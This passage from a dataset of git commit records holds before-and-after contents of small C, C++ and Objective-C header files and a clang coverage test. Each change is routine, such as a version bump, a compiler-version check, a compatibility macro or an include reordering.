export\n","lang":"C","license":"mit","repos":"Akshay809\/kopSkylines,Akshay809\/kopSkylines"}
{"commit":"41c21c9cfde906d9c3f6521eddbdd7750bbfb92a","old_file":"include\/Texture.h","new_file":"include\/Texture.h","old_contents":"\/\/ Copyright 2016 Zheng Xian Qiu\n\/\/\n\n#pragma once\n\n#include \"Seeker.h\"\n\n#ifndef _TEXTURE_H\n#define _TEXTURE_H\n\nusing std::string;\n\nnamespace Seeker {\n  class Texture : public IResource {\n    public:\n      Texture(string path);\n      Texture(int width, int height, bool alpha = false);\n      ~Texture();\n\n      int Width = 0;\n      int Height = 0;\n\n      void Prepare(SDL_Renderer* renderer);\n      void Draw(int x, int y);\n      void Draw(int x, int y, int w, int h);\n      void Destroy();\n\n      void AsRenderTarget(SDL_Renderer* renderer);\n\n      static string ResourceKey(string filename);\n\n    protected:\n      SDL_Texture* CreateTextureFromSurface(SDL_Renderer* renderer);\n      SDL_Texture* CreateTexture(SDL_Renderer* renderer);\n\n    private:\n      string filename;\n      bool alpha = false;\n      SDL_Texture* texture = nullptr;\n  };\n}\n\n#endif\n","new_contents":"\/\/ Copyright 2016 Zheng Xian Qiu\n\/\/\n\n#pragma once\n\n#include \"Seeker.h\"\n\n#ifndef _TEXTURE_H\n#define _TEXTURE_H\n\nusing std::string;\n\nnamespace Seeker {\n  class Texture : public IResource {\n    public:\n      Texture(string path);\n      Texture(int width, int height, bool alpha = true);\n      ~Texture();\n\n      int Width = 0;\n      int Height = 0;\n\n      void Prepare(SDL_Renderer* renderer);\n      void Draw(int x, int y);\n      void Draw(int x, int y, int w, int h);\n      void Destroy();\n\n      void AsRenderTarget(SDL_Renderer* renderer);\n\n      static string ResourceKey(string filename);\n\n    protected:\n      SDL_Texture* CreateTextureFromSurface(SDL_Renderer* renderer);\n      SDL_Texture* CreateTexture(SDL_Renderer* renderer);\n\n    private:\n      string filename;\n      bool alpha = true;\n      SDL_Texture* texture = nullptr;\n  };\n}\n\n#endif\n","subject":"Set empty texture default to transparent","message":"Set empty texture default to transparent\n","lang":"C","license":"apache-2.0","repos":"elct9620\/seeker,elct9620\/seeker,elct9620\/seeker"}
{"commit":"8557aff3b74bb0bf240fcc05ae73ff05caf1ce97","old_file":"CPPWebFramework\/cwf\/dbstorage.h","new_file":"CPPWebFramework\/cwf\/dbstorage.h","old_contents":"#include \"sqldatabasestorage.h\"\n\nCWF_BEGIN_NAMESPACE\n\nnamespace DbStorage {\n    CPPWEBFRAMEWORKSHARED_EXPORT static CWF::SqlDatabaseStorage _storage;\n    CPPWEBFRAMEWORKSHARED_EXPORT static QString _secret;\n}\n\nCWF_END_NAMESPACE\n","new_contents":"#include \"sqldatabasestorage.h\"\n\nCWF_BEGIN_NAMESPACE\n\nnamespace DbStorage {\n    static CWF::SqlDatabaseStorage _storage;\n    static QString _secret;\n}\n\nCWF_END_NAMESPACE\n","subject":"Remove the dll export flag","message":"Remove the dll export flag\n","lang":"C","license":"mit","repos":"HerikLyma\/CPPWebFramework,HerikLyma\/CPPWebFramework"}
{"commit":"fe45ca036fe90600a9a6d99bea17a2b36d04a071","old_file":"lib\/luwra\/common.h","new_file":"lib\/luwra\/common.h","old_contents":"\/* Luwra\n * Minimal-overhead Lua wrapper for C++\n *\n * Copyright (C) 2015, Ole Krüger <ole@vprsm.de>\n *\/\n\n#ifndef LUWRA_COMMON_H_\n#define LUWRA_COMMON_H_\n\n#include <lua.hpp>\n\n\/\/ Check for proper Lua version\n#if defined(LUA_VERSION_NUM)\n\t#if LUA_VERSION_NUM < 503 || LUA_VERSION >= 600\n\t\t#warning \"Luwra has not been tested against your installed version of Lua\"\n\t#end\n#else\n\t#error \"Your Lua library does not define LUA_VERSION_NUM\"\n#end\n\n#define LUWRA_NS_BEGIN namespace luwra {\n\n#define LUWRA_NS_END }\n\n#endif\n","new_contents":"\/* Luwra\n * Minimal-overhead Lua wrapper for C++\n *\n * Copyright (C) 2015, Ole Krüger <ole@vprsm.de>\n *\/\n\n#ifndef LUWRA_COMMON_H_\n#define LUWRA_COMMON_H_\n\n\/\/ Check C++ version\n#if !defined(__cplusplus) || __cplusplus < 201402L\n\t#error \"You need a C++14 compliant compiler\"\n#endif\n\n#include <lua.hpp>\n\n\/\/ Check for proper Lua version\n#if !defined(LUA_VERSION_NUM) || LUA_VERSION_NUM < 503 || LUA_VERSION >= 600\n\t#warning \"Luwra has not been tested against your installed version of Lua\"\n#endif\n\n#define LUWRA_NS_BEGIN namespace luwra {\n\n#define LUWRA_NS_END }\n\n#endif\n","subject":"Check for C++14 and Lua version properly","message":"Check for C++14 and Lua version properly\n","lang":"C","license":"bsd-3-clause","repos":"vapourismo\/luwra"}
{"commit":"905a30860e08f0264c746ca7a92d5b405015196c","old_file":"libedataserverui\/gtk-compat.h","new_file":"libedataserverui\/gtk-compat.h","old_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.22 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if !GTK_CHECK_VERSION(2,21,2)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \/* GTK_CHECK_VERSION(2, 21, 0) *\/\n\n#endif \/* __GTK_COMPAT_H__ *\/\n","new_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.21.1 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if (GTK_MAJOR_VERSION == 2 && GTK_MINOR_VERSION < 21) \\\n\t|| (GTK_MINOR_VERSION == 21 && GTK_MICRO_VERSION < 1)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \n\n#endif \/* __GTK_COMPAT_H__ *\/\n","subject":"Check for gtk version below 2.21.1 for comptability with gseal changes","message":"Check for gtk version below 2.21.1 for comptability with gseal changes\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/evolution-data-server,gcampax\/evolution-data-server,tintou\/evolution-data-server,Distrotech\/evolution-data-server,matzipan\/evolution-data-server,matzipan\/evolution-data-server,gcampax\/evolution-data-server,gcampax\/evolution-data-server,gcampax\/evolution-data-server,matzipan\/evolution-data-server,tintou\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,Distrotech\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,tintou\/evolution-data-server,tintou\/evolution-data-server"}
{"commit":"dd0c830ae3af87e8d354b9848d045bf0acd1d5e9","old_file":"kmail\/kmversion.h","new_file":"kmail\/kmversion.h","old_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.6.50\"\n\n#endif \/*kmversion_h*\/\n","new_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.6.51\"\n\n#endif \/*kmversion_h*\/\n","subject":"Update the version a tick so that we can tell who has the recently committed critical fixes.","message":"Update the version a tick so that we can tell who has the recently\ncommitted critical fixes.\n\nsvn path=\/trunk\/kdepim\/; revision=285464\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"a882990c9d05497540efca385ebb55c200e01e76","old_file":"MUON\/mapping\/AliMpStationType.h","new_file":"MUON\/mapping\/AliMpStationType.h","old_contents":"\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/\/ $Id$\n\/\/ $MpId: AliMpStationType.h,v 1.5 2005\/10\/28 15:05:04 ivana Exp $\n\n\/\/\/ \\ingroup basic\n\/\/\/ \\enum AliMpStationType\n\/\/\/ Enumeration for refering to a MUON station\n\/\/\/\n\/\/\/ Authors: David Guez, Ivana Hrivnacova; IPN Orsay\n \n#ifndef ALI_MP_STATION_TYPE_H\n#define ALI_MP_STATION_TYPE_H\n \nenum AliMpStationType\n{\n  kStationInvalid = -1,\/\/\/< invalid station\n  kStation1 = 0,       \/\/\/< station 1 (quadrants)\n  kStation2,           \/\/\/< station 2 (quadrants)\n  kStation345,         \/\/\/< station 3,4,5 (slats)\n  kStationTrigger      \/\/\/< trigger stations (slats)\n\n};\n\ninline \nconst char* StationTypeName(AliMpStationType stationType)\n{\n  switch ( stationType )\n  {\n    case kStation1:\n      return \"st1\";\n      break;\n    case kStation2:\n      return \"st2\";\n      break;\n    case kStation345:\n      return \"slat\";\n      break;\n    case kStationTrigger:\n      return \"trigger\";\n      break;\n    case kStationInvalid:\n    default:\n      return \"unknown\";\n      break;\n  }\n}\n\n#endif \/\/ALI_MP_STATION_TYPE_H\n","new_contents":"\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/\/ $Id$\n\/\/ $MpId: AliMpStationType.h,v 1.5 2005\/10\/28 15:05:04 ivana Exp $\n\n\/\/\/ \\ingroup basic\n\/\/\/ \\enum AliMpStationType\n\/\/\/ Enumeration for refering to a MUON station\n\/\/\/\n\/\/\/ Authors: David Guez, Ivana Hrivnacova; IPN Orsay\n \n#ifndef ALI_MP_STATION_TYPE_H\n#define ALI_MP_STATION_TYPE_H\n \nenum AliMpStationType\n{\n  kStationInvalid = -1,\/\/\/< invalid station\n  kStation1 = 0,       \/\/\/< station 1 (quadrants)\n  kStation2,           \/\/\/< station 2 (quadrants)\n  kStation345,         \/\/\/< station 3,4,5 (slats)\n  kStationTrigger      \/\/\/< trigger stations (slats)\n\n};\n\ninline \nconst char* StationTypeName(AliMpStationType stationType)\n{\n  switch ( stationType )\n  {\n    case kStation1:\n      return \"st1\";\n      break;\n    case kStation2:\n      return \"st2\";\n      break;\n    case kStation345:\n      return \"slat\";\n      break;\n    case kStationTrigger:\n      return \"trigger\";\n      break;\n    case kStationInvalid:\n    default:\n      return \"invalid\";\n      break;\n  }\n  return \"unknown\";\n}\n\n#endif \/\/ALI_MP_STATION_TYPE_H\n","subject":"Fix warning from gcc4 (Laurent)","message":"Fix warning from gcc4\n(Laurent)\n\n","lang":"C","license":"bsd-3-clause","repos":"ALICEHLT\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot"}
{"commit":"0b4834177de44756b689270394c72a016e0f9c6c","old_file":"MKCommons\/MKVersion.h","new_file":"MKCommons\/MKVersion.h","old_contents":"\/\/\n\/\/  MKVersion.h\n\/\/  MKCommons\n\/\/\n\/\/  Created by Michael Kuck on 9\/27\/13.\n\/\/  Copyright (c) 2013 Michael Kuck. All rights reserved.\n\/\/\n\nextern NSString *const MKApplicationVersion(void);\n\nstatic NSUInteger const MAJOR = 1;\nstatic NSUInteger const MINOR = 10;\nstatic NSUInteger const PATCH = 4;\n","new_contents":"\/\/\n\/\/  MKVersion.h\n\/\/  MKCommons\n\/\/\n\/\/  Created by Michael Kuck on 9\/27\/13.\n\/\/  Copyright (c) 2013 Michael Kuck. All rights reserved.\n\/\/\n\nextern NSString *const MKApplicationVersion(void);\n\nstatic NSUInteger const MAJOR = 1;\nstatic NSUInteger const MINOR = 11;\nstatic NSUInteger const PATCH = 0;\n","subject":"Increase version number of merge into master","message":"Increase version number of merge into master\n","lang":"C","license":"mit","repos":"mikumi\/mkcommons-obj"}
{"commit":"9d7dfc15495bd6f005b8ede5b33aa10dfa0a8fce","old_file":"Modules\/Facilities\/Model\/FacilitiesRoom.h","new_file":"Modules\/Facilities\/Model\/FacilitiesRoom.h","old_contents":"\/\/\n\/\/  FacilitiesRoom.h\n\/\/  MIT Mobile\n\/\/\n\/\/  Created by Blake Skinner on 5\/11\/11.\n\/\/  Copyright (c) 2011 MIT. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <CoreData\/CoreData.h>\n\n@class FacilitiesLocation;\n\n@interface FacilitiesRoom : NSManagedObject {\n@private\n}\n@property (nonatomic, retain) NSString * floor;\n@property (nonatomic, retain) NSString * number;\n@property (nonatomic, retain) NSString * building;\n\n- (NSString*)displayString;\n- (NSString*)description;\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#import <CoreData\/CoreData.h>\n\n@class FacilitiesLocation;\n\n@interface FacilitiesRoom : NSManagedObject {\n@private\n}\n@property (nonatomic, retain) NSString * floor;\n@property (nonatomic, retain) NSString * number;\n@property (nonatomic, retain) NSString * building;\n\n- (NSString*)displayString;\n- (NSString*)description;\n@end\n","subject":"Remove the templated copyright statement","message":"Remove the templated copyright statement\n","lang":"C","license":"lgpl-2.1","repos":"MIT-Mobile\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS"}
{"commit":"535a3d3a07c7ca63326f35a915a23a4d5b55a353","old_file":"OpenTESArena\/src\/Game\/CardinalDirection.h","new_file":"OpenTESArena\/src\/Game\/CardinalDirection.h","old_contents":"#ifndef CARDINAL_DIRECTION_H\r\n#define CARDINAL_DIRECTION_H\r\n\r\n#include <string>\r\n\r\n#include \"..\/Math\/Vector2.h\"\r\n#include \"..\/World\/VoxelUtils.h\"\r\n\r\n\/\/ North, northeast, southwest, etc..\r\n\r\nenum class CardinalDirectionName;\r\n\r\nnamespace CardinalDirection\r\n{\r\n\t\/\/ Cardinal directions in the XZ plane (bird's eye view).\r\n\tconst NewDouble2 North(-1.0, 0.0);\r\n\tconst NewDouble2 South(1.0, 0.0);\r\n\tconst NewDouble2 East(0.0, -1.0);\r\n\tconst NewDouble2 West(0.0, 1.0);\r\n\r\n\tCardinalDirectionName getDirectionName(const NewDouble2 &direction);\r\n\tconst std::string &toString(CardinalDirectionName directionName);\r\n}\r\n\r\n#endif\r\n","new_contents":"#ifndef CARDINAL_DIRECTION_H\r\n#define CARDINAL_DIRECTION_H\r\n\r\n#include <string>\r\n\r\n#include \"..\/Math\/Vector2.h\"\r\n#include \"..\/World\/VoxelUtils.h\"\r\n\r\n\/\/ North, northeast, southwest, etc..\r\n\r\nenum class CardinalDirectionName;\r\n\r\nnamespace CardinalDirection\r\n{\r\n\t\/\/ Cardinal directions in the XZ plane (bird's eye view).\r\n\tconst NewDouble2 North(static_cast<double>(VoxelUtils::North.x), static_cast<double>(VoxelUtils::North.y));\r\n\tconst NewDouble2 South(static_cast<double>(VoxelUtils::South.x), static_cast<double>(VoxelUtils::South.y));\r\n\tconst NewDouble2 East(static_cast<double>(VoxelUtils::East.x), static_cast<double>(VoxelUtils::East.y));\r\n\tconst NewDouble2 West(static_cast<double>(VoxelUtils::West.x), static_cast<double>(VoxelUtils::West.y));\r\n\r\n\tCardinalDirectionName getDirectionName(const NewDouble2 &direction);\r\n\tconst std::string &toString(CardinalDirectionName directionName);\r\n}\r\n\r\n#endif\r\n","subject":"Make cardinal directions rely on VoxelUtils.","message":"Make cardinal directions rely on VoxelUtils.\n","lang":"C","license":"mit","repos":"afritz1\/OpenTESArena"}
{"commit":"a3f14995378b1785bc17cc6d80d956003794006c","old_file":"backend\/src\/libocl\/include\/ocl_printf.h","new_file":"backend\/src\/libocl\/include\/ocl_printf.h","old_contents":"","new_contents":"#ifndef __OCL_PRINTF_H__\n#define __OCL_PRINTF_H__\n\n#include \"ocl_types.h\"\n\n\/* The printf function. *\/\n\/* From LLVM 3.4, c string are all in constant address space *\/\n#if 100*__clang_major__ + __clang_minor__ < 304\nint __gen_ocl_printf_stub(const char * format, ...);\n#else\nint __gen_ocl_printf_stub(constant char * format, ...);\n#endif\n#define printf __gen_ocl_printf_stub\n\n#endif\n","subject":"Add printf module into libocl","message":"Add printf module into libocl\n\nSigned-off-by: Junyan He <8f73a735c668918c9613b750d3a88ebf2489599f@linux.intel.com>\nReviewed-by: Zhigang Gong <e04a7b9b70b1e4c6318cf117dcd1a9056e14b97a@intel.com>\n","lang":"C","license":"lgpl-2.1","repos":"zhenyw\/beignet,freedesktop-unofficial-mirror\/beignet,freedesktop-unofficial-mirror\/beignet,wdv4758h\/beignet,freedesktop-unofficial-mirror\/beignet,freedesktop-unofficial-mirror\/beignet,wdv4758h\/beignet,wdv4758h\/beignet,zhenyw\/beignet,wdv4758h\/beignet,zhenyw\/beignet,wdv4758h\/beignet,zhenyw\/beignet,zhenyw\/beignet"}
{"commit":"830605fd9a90c933da058be4003da58b7b760e7e","old_file":"test\/CoverageMapping\/unused_names.c","new_file":"test\/CoverageMapping\/unused_names.c","old_contents":"\/\/ RUN: %clang_cc1 -fprofile-instr-generate -fcoverage-mapping -emit-llvm -o - %s | FileCheck %s\n\n\/\/ Since foo is never emitted, there should not be a profile name for it.\n\n\/\/ CHECK-NOT: @__llvm_profile_name_foo =\n\/\/ CHECK: @__llvm_profile_name_bar =\n\/\/ CHECK-NOT: @__llvm_profile_name_foo =\n\n#ifdef IS_SYSHEADER\n\n#pragma clang system_header\ninline int foo() { return 0; }\n\n#else\n\n#define IS_SYSHEADER\n#include __FILE__\n\nint bar() { return 0; }\n\n#endif\n","new_contents":"\/\/ RUN: %clang_cc1 -fprofile-instr-generate -fcoverage-mapping -emit-llvm -main-file-name unused_names.c -o - %s > %t\n\/\/ RUN: FileCheck -input-file %t %s\n\/\/ RUN: FileCheck -check-prefix=SYSHEADER -input-file %t %s\n\n\/\/ Since foo is never emitted, there should not be a profile name for it.\n\n\/\/ CHECK-DAG: @__llvm_profile_name_bar = {{.*}} section \"{{.*}}__llvm_prf_names\"\n\/\/ CHECK-DAG: @__llvm_profile_name_baz = {{.*}} section \"{{.*}}__llvm_prf_names\"\n\/\/ CHECK-DAG: @\"__llvm_profile_name_unused_names.c:qux\" = {{.*}} section \"{{.*}}__llvm_prf_names\"\n\n\/\/ SYSHEADER-NOT: @__llvm_profile_name_foo =\n\n\n#ifdef IS_SYSHEADER\n\n#pragma clang system_header\ninline int foo() { return 0; }\n\n#else\n\n#define IS_SYSHEADER\n#include __FILE__\n\nint bar() { return 0; }\ninline int baz() { return 0; }\nstatic int qux() { return 42; }\n\n#endif\n","subject":"Add a test for PR22531","message":"InstrProf: Add a test for PR22531\n\nThis is a test for the llvm change in r228793. We need to make sure\nthat names referred to by coverage end up in the right section, or the\ncoverage tools won't work.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@228794 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"4593b1ec0f82913fc5f7f6353d2e3add9de6ff39","old_file":"include\/pistache\/prototype.h","new_file":"include\/pistache\/prototype.h","old_contents":"\/*\n   Mathieu Stefani, 28 janvier 2016\n\n   Simple Prototype design pattern implement\n*\/\n\n#pragma once\n\n#include <memory>\n#include <type_traits>\n\nnamespace Pistache\n{\n\n    \/* In a sense, a Prototype is just a class that provides a clone() method *\/\n    template <typename Class>\n    struct Prototype\n    {\n    public:\n        virtual ~Prototype() { }\n        virtual std::shared_ptr<Class> clone() const = 0;\n    };\n\n} \/\/ namespace Pistache\n\n#define PROTOTYPE_OF(Base, Class)                \\\npublic:                                          \\\n    std::shared_ptr<Base> clone() const override \\\n    {                                            \\\n        return std::make_shared<Class>(*this);   \\\n    }\\\n","new_contents":"\/*\n   Mathieu Stefani, 28 janvier 2016\n\n   Simple Prototype design pattern implement\n*\/\n\n#pragma once\n\n#include <memory>\n#include <type_traits>\n\nnamespace Pistache\n{\n\n    \/* In a sense, a Prototype is just a class that provides a clone() method *\/\n    template <typename Class>\n    struct Prototype\n    {\n    public:\n        virtual ~Prototype() { }\n        virtual std::shared_ptr<Class> clone() const = 0;\n    };\n\n} \/\/ namespace Pistache\n\n#define PROTOTYPE_OF(Base, Class)                \\\npublic:                                          \\\n    std::shared_ptr<Base> clone() const override \\\n    {                                            \\\n        return std::make_shared<Class>(*this);   \\\n    }\n","subject":"Fix warning: backslash-newline at end of file","message":"Fix warning: backslash-newline at end of file\n","lang":"C","license":"apache-2.0","repos":"oktal\/rest,oktal\/rest,oktal\/rest,oktal\/rest"}
{"commit":"cde246f309cc3c3fc4c5aaef4f1eb9a191b5b4ec","old_file":"JASP-Engine\/rbridge.h","new_file":"JASP-Engine\/rbridge.h","old_contents":"#ifndef RBRIDGE_H\n#define RBRIDGE_H\n\n#include <RInside.h>\n#include <Rcpp.h>\n\n#include <string>\n#include <map>\n#include <boost\/function.hpp>\n\n#include \"..\/JASP-Common\/dataset.h\"\n\n\n#ifdef __WIN32__\n\n#undef Realloc\n#undef Free\n\n#endif\n\n\t\/\/typedef int (*RCallback)(std::string value);\n\ttypedef boost::function<int(const std::string &)> RCallback;\n\n\tvoid rbridge_init();\n\tvoid rbridge_setDataSet(DataSet *dataSet);\n\tstd::string rbridge_run(const std::string &name, const std::string &options, const std::string &perform = \"run\", RCallback callback = NULL);\n\n\n#endif \/\/ RBRIDGE_H\n","new_contents":"#ifndef RBRIDGE_H\n#define RBRIDGE_H\n\n#include <RInside.h>\n#include <Rcpp.h>\n\n#ifdef __WIN32__\n\n#undef Realloc\n#undef Free\n\n#endif\n\n#include <string>\n#include <map>\n#include <boost\/function.hpp>\n\n#include \"..\/JASP-Common\/dataset.h\"\n\n\t\/\/typedef int (*RCallback)(std::string value);\n\ttypedef boost::function<int(const std::string &)> RCallback;\n\n\tvoid rbridge_init();\n\tvoid rbridge_setDataSet(DataSet *dataSet);\n\tstd::string rbridge_run(const std::string &name, const std::string &options, const std::string &perform = \"run\", RCallback callback = NULL);\n\n\n#endif \/\/ RBRIDGE_H\n","subject":"Fix to windows build errors","message":"Fix to windows build errors\n","lang":"C","license":"agpl-3.0","repos":"FransMeerhoff\/jasp-desktop,cgvarela\/jasp-desktop,AlexanderLyNL\/jasp-desktop,tlevine\/jasp-desktop,AlexanderLyNL\/jasp-desktop,AlexanderLyNL\/jasp-desktop,boutinb\/jasp-desktop,raviselker\/jasp-desktop,fdabl\/jasp-desktop,jasp-stats\/jasp-desktop,vankesteren\/jasp-desktop,vankesteren\/jasp-desktop,tlevine\/jasp-desktop,boutinb\/jasp-desktop,jasp-stats\/jasp-desktop,cgvarela\/jasp-desktop,aknight1-uva\/jasp-desktop,Tahiraj\/jasp-desktop,raviselker\/jasp-desktop,dropmann\/jasp-desktop,TimKDJ\/jasp-desktop,Tahiraj\/jasp-desktop,FransMeerhoff\/jasp-desktop,raviselker\/jasp-desktop,AlexanderLyNL\/jasp-desktop,FransMeerhoff\/jasp-desktop,cgvarela\/jasp-desktop,dostodabsi\/jasp-desktop,dropmann\/jasp-desktop,dostodabsi\/jasp-desktop,dropmann\/jasp-desktop,AlexanderLyNL\/jasp-desktop,FransMeerhoff\/jasp-desktop,boutinb\/jasp-desktop,boutinb\/jasp-desktop,dostodabsi\/jasp-desktop,vankesteren\/jasp-desktop,vankesteren\/jasp-desktop,TimKDJ\/jasp-desktop,vankesteren\/jasp-desktop,jasp-stats\/jasp-desktop,aknight1-uva\/jasp-desktop,AlexanderLyNL\/jasp-desktop,TimKDJ\/jasp-desktop,aknight1-uva\/jasp-desktop,dostodabsi\/jasp-desktop,fdabl\/jasp-desktop,TimKDJ\/jasp-desktop,fdabl\/jasp-desktop,dropmann\/jasp-desktop,vankesteren\/jasp-desktop,raviselker\/jasp-desktop,boutinb\/jasp-desktop,AlexanderLyNL\/jasp-desktop,dostodabsi\/jasp-desktop,FransMeerhoff\/jasp-desktop,dropmann\/jasp-desktop,jasp-stats\/jasp-desktop,boutinb\/jasp-desktop,dostodabsi\/jasp-desktop,jasp-stats\/jasp-desktop,Tahiraj\/jasp-desktop,jasp-stats\/jasp-desktop,cgvarela\/jasp-desktop,jasp-stats\/jasp-desktop,cgvarela\/jasp-desktop,vankesteren\/jasp-desktop,raviselker\/jasp-desktop,TimKDJ\/jasp-desktop,TimKDJ\/jasp-desktop,raviselker\/jasp-desktop,tlevine\/jasp-desktop,tlevine\/jasp-desktop,aknight1-uva\/jasp-desktop,FransMeerhoff\/jasp-desktop,FransMeerhoff\/jasp-desktop,tlevine\/jasp-desktop,jasp-stats\/jasp-desktop,vankesteren\/jasp-desktop,fdabl\/jasp-desktop,raviselker\/jasp-desktop,fdabl\/jasp-desktop,dostodabsi\/jasp-desktop,fdabl\/jasp-desktop,aknight1-uva\/jasp-desktop,aknight1-uva\/jasp-desktop,boutinb\/jasp-desktop,aknight1-uva\/jasp-desktop,fdabl\/jasp-desktop,Tahiraj\/jasp-desktop,Tahiraj\/jasp-desktop,TimKDJ\/jasp-desktop,FransMeerhoff\/jasp-desktop,AlexanderLyNL\/jasp-desktop,TimKDJ\/jasp-desktop,dropmann\/jasp-desktop,boutinb\/jasp-desktop,dropmann\/jasp-desktop"}
{"commit":"3b2deef3a403bbfe1dcb3e22fde3b8fecc3ccd08","old_file":"modules\/dcc_chat.h","new_file":"modules\/dcc_chat.h","old_contents":"class dccChat : public Module {\n\tpublic:\n\t\tvirtual ~dccChat();\n\t\tvirtual void onDCCReceive(std::string dccid, std::string message);\n\t\tvirtual void onDCCEnd(std::string dccid);\n};\n\nclass dccSender : public Module {\n\tpublic:\n\t\tvirtual ~dccSender();\n\t\tvirtual void dccSend(std::string dccid, std::string message);\n\t\tvirtual bool hookDCCMessage(std::string modName, std::string hookMsg);\n\t\tvirtual void unhookDCCSession(std::string modName, std::string dccid);\n};\n\ndccChat::~dccChat() {}\n\nvoid dccChat::onDCCReceive(std::string dccid, std::string message) {}\n\nvoid dccChat::onDCCEnd(std::string dccid) {}\n\ndccSender::~dccSender() {}\n\nvoid dccSender::dccSend(std::string dccid, std::string message) {}\n\nbool dccSender::hookDCCMessage(std::string modName, std::string hookMsg) { return false; }\n\nvoid dccSender::unhookDCCSession(std::string modName, std::string dccid) {}","new_contents":"class dccChat : public Module {\n\tpublic:\n\t\tvirtual ~dccChat();\n\t\tvirtual void onDCCReceive(std::string dccid, std::string message);\n\t\tvirtual void onDCCEnd(std::string dccid);\n};\n\nclass dccSender : public Module {\n\tpublic:\n\t\tvirtual ~dccSender();\n\t\tvirtual void dccSend(std::string dccid, std::string message);\n\t\tvirtual bool hookDCCMessage(std::string modName, std::string hookMsg);\n\t\tvirtual void unhookDCCSession(std::string modName, std::string dccid);\n\t\tvirtual std::vector<std::string> getConnections();\n\t\tvirtual void closeDCCConnection(std::string dccid);\n};\n\ndccChat::~dccChat() {}\n\nvoid dccChat::onDCCReceive(std::string dccid, std::string message) {}\n\nvoid dccChat::onDCCEnd(std::string dccid) {}\n\ndccSender::~dccSender() {}\n\nvoid dccSender::dccSend(std::string dccid, std::string message) {}\n\nbool dccSender::hookDCCMessage(std::string modName, std::string hookMsg) { return false; }\n\nvoid dccSender::unhookDCCSession(std::string modName, std::string dccid) {}","subject":"Add important DCC functions to DCC header for interaction","message":"Add important DCC functions to DCC header for interaction\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
